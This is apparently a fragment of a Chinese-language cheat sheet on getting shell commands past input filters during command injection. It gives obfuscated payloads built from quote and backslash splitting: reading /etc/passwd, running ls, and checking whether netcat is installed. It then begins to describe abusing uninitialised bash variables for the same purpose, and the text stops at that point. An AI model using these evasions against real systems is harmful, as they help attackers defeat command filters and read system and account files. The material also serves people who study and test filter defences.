利用连接符来执行命令
读取/etc/passwd
1 | /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd |
执行ls
1 | '''l''s''' |
查看nc
是否安装
1 | '/''b'i'n'/'w'h'i'c'h' 'n''c''' |
或者
1 | /"b"i"n"/"w"h"i"c"h" "n"c |
又或者
1 | /b\i\n/w\h\i\c\h n\c |
利用未初始化的bash
先来看看没有定义的变量($a)
可以看到返回的是null
,那么可以去利用这个特性来执行其他命令